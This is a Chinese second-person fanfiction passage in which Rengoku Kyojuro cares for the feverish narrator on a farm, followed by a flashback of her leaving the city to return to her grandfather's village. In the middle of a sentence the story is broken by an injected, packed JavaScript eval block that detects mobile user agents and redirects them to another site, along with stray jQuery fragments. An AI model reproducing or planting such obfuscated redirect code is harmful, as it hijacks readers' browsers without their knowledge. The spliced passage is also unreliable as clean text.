秋日的某天，你心血来潮，想试试晒土豆干，便拉着杏寿郎在院子里又是清洗又是切片，鼓捣了大半天，才将土豆片整整齐齐铺满了晒架。
谁知翌日，一场毫无征兆的秋雨不期而至，将昨日的辛劳冲刷得一干二净。
根本顾不上抱怨天气预报的不准，你急忙冲进雨幕抢收土豆片。杏寿郎恰好不在家，你只能一个人来回折腾好几圈，才将其全部收完。
这时，你已从头湿到脚，衣服紧贴瑟瑟发抖的身躯，凉意直往骨头缝里钻。
即使急忙去洗了个热水澡，换了身干净的衣服，后果也很快找上了门。
当天傍晚，你开始头晕鼻塞，凌晨时分，额头发烫，浑身关节酸软得像散了架。
到了起床的点，你惦记着田里的幼苗，强撑着爬起来，还没走出家门，就被一张厚毯子裹进了壁炉旁的摇椅里。
天旋地转间，杏寿郎那张写满了无奈的脸映入眼帘。
“既然生病了，就要好好休息！”
“可是……”
“我知道了！”
嗯？我还什么都没说呢，你就知道什么了？
没等你发出疑问，杏寿郎已经大步离去，独留你不知所措地嵌在摇椅里。
壁炉里柴火燃烧的噼啪声，完全压不过窗外呼啸的风声与不断撞击木屋的连绵雨声，但散发的融融暖意，却让人心生留恋。
糟糕，完全不想动了。
可听着这些嘈杂的声响，你愈发担心脆弱的幼苗撑不住暴雨的摧残。
纠结半天，正打算掀开毯子，却听门口一声轻响，抬眼望去，是杏寿郎回来了。
他一手提着木桶，一手端碗，碗口白雾袅袅，朦胧了他轮廓分明的脸庞。
“久等了！”
他快步走到你的身边，先把碗置于一旁的桌上，水声响了几下后，你的额头上便搭上一块浸过凉水的毛巾。
冰冷的湿气透过肌肤洗刷混沌的大脑，尽管仍有些许无法忽略的胀痛，但思维一下子变得清晰起来，被堵住的鼻子也短暂恢复了正常。
你嗅到了一丝不妙的古怪气味，目光不由自主锁定到源头上。
你咽了咽口水，嗓子干痒到说话时的震颤都会引起疼痛，“那是什么？”
“这是生姜红糖水，虽然味道有些古怪，但效果非常好！”
像是被你提醒了，杏寿郎端起那碗神秘液体就要递过来。
眼看着碗越来越近，你吓得两只耳朵都竖起——作为一个垂耳兔族人，这是多么少见的事。
你连忙扭动身躯，把自己往椅子里挤了又挤，紧攥毛毯往上扯，几乎盖住大半张脸，只露出一双写满抗拒的眼睛。
杏寿郎看着你这副模样，无奈地叹了口气。
他极其自然地在你脚边的地毯上盘膝坐下，将碗又往前递了递，语气温和却不容商量。
“得趁热喝才行！凉了不仅更难喝，效果也会打折扣！”
你从毯子的缝隙里看他，那双金红色的眼眸里映着跃动的火光，显得格外坚定专注，没有丝毫妥协的余地。
“……好吧。”
你知道自己拗不过他，只好鼓起勇气，闭着眼撞上去，就着他的手狠狠灌了一大口。
yue——！什么玩意儿！？
这古怪的味道实在难以形容，教你想吐却吐不出，只能捂着嘴恹恹地缩回毯子里，整张脸皱成一团，眼眶湿润。
你试图转移注意力，也确实是放心不下，开口问道：“田里的菜——”
你缓了口气，压住口腔内翻涌的那股辛辣混甜腻的古怪味道，“会不会被雨打坏了？”
“不用担心！我刚才去田地里看过了，大家都好好的。土地喝饱了水，叶子也更绿了。等明天太阳出来后，一切都会更好的！”
他的话语总是带着一种让人安心的笃定，异常清晰有力，穿透连绵的嘈杂雨声，将你不安跳动的心按回原位。
你松了口气，想对他露出一个感谢的笑容，却被反胃感搞得略显勉强。
杏寿郎见状，眉头微不可察地皱了一下。他忽地伸出手，掌心向上，稳稳地摊在你眼前。
那是一只骨节分明、带着常年练习剑道形成的厚茧和零星旧伤疤的手。
“如果还不舒服的话，”他语气坦荡自然，眼神清澈如炬，“那就握手吧！”
“我小时候生病难受，母亲就是这样握着我的手，一直守在我身边的。”他顿了顿，似乎在回忆那份温暖，“很不可思议，握着她的手，好像真的就不那么难熬了，会感觉安心很多。”
你迟疑了一下，将一只手缓缓从毯子里抽出，轻轻放入他的掌心。
真的很不可思议。
明明发烧时的你，手的温度要比他高很多，却依然能感到一股源源不断的暖意，顺着你的指尖一路蔓延，流过手腕，窜过手臂，奇异地熨贴了你发冷的四肢百骸。
他宽大的手掌将你的手完全拢住，指腹的茧子带来一种粗糙而真实的触感。
杏寿郎就真的这样静静地坐着守着你，脊背挺得笔直，除了空闲的手偶尔替你更换额上温度变化的毛巾，再没其他动作。
壁炉里的柴火噼啪作响，跃动的火光将他英挺的侧影投在墙壁上，拉得很长，安稳如山。
屋外的风雨声似乎被这温暖的角落隔绝开了，只剩下令人心安的寂静，和他掌心传来的令人昏昏欲睡的暖意。
你不是第一次生病发烧，却是第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029064|194492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次有这么一个人愿意一直守在你身边。
糟糕，体温是不是又上涨了？不然，怎么眼睛都开始烧得酸痛了？
意识渐渐模糊，一个念头却愈发清晰。
——还好当时选择了回到这里。
—
故事还要从初春时说起。
你坐在狭小的出租屋里，手里捏着一封从老家寄来的信。
“孩子，爷爷老了，干不动农活了。如果你在大城市觉得累了，就回来吧。这里永远是你的家。”
就这几句话，没有多余的煽情。可你知道，这意味着什么。
窗外的霓虹彻夜不息，你盯着看了很久，直到晨光撕开天际，才挪到桌前，打开电脑，写下一封简短的辞职信。
犹豫良久，点击发送，长舒一口气后，开始收拾行李。傍晚时分，你便拖着行李箱，登上了返乡的长途巴士。
引擎轰鸣，车子缓缓驶离站台。
窗外高楼渐疏，绿意渐浓。巴士驶入山区，道路开始蜿蜒，远处山脚下有零星的小镇，屋顶是温暖的红褐色，炊烟袅袅升起，田野被分割成整齐的方块，绿色的细苗在风中起伏。
你静静看着这一切在眼前流淌而过，心里没有想象中的恐慌或不安，反而是一种奇异的平静，像是终于卸下背了太久的重担。
不知过了多久，司机粗犷的催促声从前座传来，你睁开眼，才发现自己不知何时睡着了，巴士已在青草镇的站牌边停稳。
提着行李箱下车，新鲜空气迎面扑来。
风里满是青草、露水和野花的味道，你不由得深深吸了好几口，连夜奔波的倦意仿佛一下子被洗净，连带着胸口那股淤积已久的闷气也散开了。
你站在站牌边，看着这个陌生又熟悉的小镇。
没有高楼，只有低矮的屋舍沿着青石板路向远处延伸。路两旁是高大的梧桐树，枝叶在风中沙沙作响。篱笆上爬满了各色的鲜花，百花争艳，开得热闹。有细碎的人声，从附近的巷子里传来，夹杂着隐约的笑声。
跟大城市里令人厌烦的喧闹完全不一样，这儿就是你今后的家了。
你拖着行李箱往里走，轮子在石板路上发出咕噜咕噜的声响，引起旁人的注意。有镇民从窗户里探出头来看你，眼神好奇但友善。你对他们点头微笑，他们也回以笑容。
走到一个岔路口时，你停下了。
印象中，爷爷的农场应该在小镇西边，可西边是哪边？
左边？右边？
站在分岔路口的指示牌前，你努力回想，却只记得一点模糊得像隔了层毛玻璃的片段画面。
正当你准备用硬币决定方向时，一道怯生生的问候从身后传来。
“您好？”